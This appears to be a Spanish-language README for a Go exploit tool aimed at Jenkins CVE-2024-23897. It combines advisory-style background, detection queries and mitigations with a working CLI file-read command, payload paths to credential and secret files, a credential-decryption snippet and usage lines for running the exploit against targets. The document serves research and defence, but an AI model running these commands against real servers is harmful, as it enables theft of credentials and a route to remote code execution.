
CVE-2024-23897: Jenkins Lectura Arbitraria de Archivos que Conduce a RCE
CVE-2024-23897: Lectura Arbitraria de Archivos en Jenkins que lleva a RCE 🎯 Productos y Versiones Afectados
Producto: Jenkins (Servidor de Integración Continua/Entrega Continua)
Versiones: Jenkins 2.441 y anteriores, Jenkins LTS 2.426.2 y anteriores
Corregido en: Jenkins 2.442, Jenkins LTS 2.426.3
📝 Descripción
CVE-2024-23897 es una vulnerabilidad crítica en Jenkins que permite a atacantes no autenticados leer archivos arbitrarios en el sistema de archivos del controlador Jenkins. La vulnerabilidad existe porque Jenkins no deshabilita una característica de su analizador de comandos CLI que reemplaza un carácter '@' seguido de una ruta de archivo con el contenido del archivo.
Esta falla puede llevar a la ejecución remota de código (RCE) cuando se combina con otras técnicas, lo que la hace particularmente peligrosa para organizaciones que utilizan Jenkins en sus pipelines CI/CD. 🔍 Detalles de la Vulnerabilidad Causa Raíz
La vulnerabilidad se origina en la función expandAtFiles() de la clase org.kohsuke.args4j.CmdLineParser. Al analizar argumentos CLI, si el analizador encuentra un símbolo '@' seguido de una ruta de archivo, lee y expande el contenido de ese archivo. Vector de Ataque
Los atacantes pueden explotar esta vulnerabilidad utilizando la interfaz CLI de Jenkins sin autenticación: bash
java -jar jenkins-cli.jar -s http://servidor-jenkins-objetivo:8080/ help @/etc/passwd
Análisis Técnico Limitaciones de Lectura de Archivos
Sin autenticación: Solo se pueden leer las primeras 3 líneas del archivo (dependiendo del comando CLI)
Con permiso 'Overall/Read': Se puede leer el contenido completo del archivo
Archivos binarios: Se pueden extraer pero pueden verse afectados por problemas de codificación (Windows-1252 en Windows produce mejores resultados que UTF-8 en Linux)
Expansión de la Superficie de Ataque
Una vez lograda la lectura de archivos, los atacantes pueden escalar a ataques más severos:
Extraer Credenciales:
Leer /var/jenkins_home/credentials.xml para credenciales cifradas
Leer /var/jenkins_home/secrets/master.key y hudson.util.Secret para descifrado
Descifrar credenciales usando la consola de scripts de Jenkins: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
Forjar Cookies "Remember-me":
Obtener acceso administrativo forjando cookies de autenticación
Ejecutar Código Arbitrario:
Lograr RCE a través de vectores de Resource Root URL, XSS o CSRF
💥 Impacto Impacto Inmediato
Confidencialidad: Divulgación completa de todos los archivos en el servidor Jenkins (código fuente, credenciales, claves SSH, tokens)
Integridad: Los atacantes pueden modificar compilaciones, pipelines y configuraciones
Disponibilidad: Posibilidad de denegación de servicio o despliegue de ransomware
Explotación en el Mundo Real
Esta vulnerabilidad ha sido explotada activamente en la naturaleza:
Añadida al catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA
Utilizada por bandas de ransomware (RansomEXX) para comprometer infraestructura
Explotada por el actor de amenazas IntelBroker para robar repositorios de GitHub y comprometer proveedores de servicios de TI
🔧 Detección Indicadores de Compromiso
Los intentos de explotación exitosos se pueden detectar a través de:
Patrones de Solicitud HTTP: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [carga útil binaria que contiene @/ruta/al/archivo]
Ejemplos de Cargas Útiles Típicas:
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Consulta de Detección en Splunk text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ Mitigación Corrección Oficial
Actualice a las versiones parcheadas:
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
Mitigación Temporal
Si no es posible aplicar el parche inmediatamente:
Deshabilitar el acceso CLI de Jenkins
Establecer la propiedad del sistema Java: hudson.cli.CLICommand.allowAtSyntax=false
Restringir el acceso de red a la interfaz de administración de Jenkins
Implementar reglas WAF para bloquear solicitudes que contengan patrones @/
🔗 Referencias
Entrada NVD
Aviso de Seguridad de Jenkins
Catálogo KEV de CISA
Investigación de Splunk
Página CVE de Tenable
📦 Construcción y Ejecución
bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://jenkins-objetivo:8080 /etc/passwd
go run exploit.go http://jenkins-objetivo:8080 /etc/passwd
🎯 Ejemplos de Uso bash
./jenkins-cve-2024-23897 http://jenkins.interno:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ Cómo Funciona
Inicialización de Sesión: Genera un ID de sesión único de 20 bytes
Construcción de Carga Útil: Construye una carga binaria con la estructura help @/ruta/al/archivo
Fase de Subida: Envía la carga al endpoint CLI de Jenkins
Fase de Descarga: Recupera el contenido del archivo de la respuesta
Salida: Muestra el contenido del archivo o un mensaje de error
📊 Características
Implementación pura en Go: Sin dependencias externas
Multiplataforma: Funciona en Windows, Linux, macOS
Tiempos de espera configurables: Ajustable para redes lentas
Manejo limpio de errores: Mensajes de error detallados
Seguro para binarios: Maneja archivos de texto y binarios
⚠️ Notas Importantes
Solo con fines educativos: Úselo solo en sistemas que posea o tenga permiso para probar
Lecturas no autenticadas: Sin autenticación, solo se pueden leer aproximadamente las primeras 3 líneas
Archivos binarios: Pueden verse afectados por problemas de codificación (use un objetivo Windows para mejor extracción de binarios)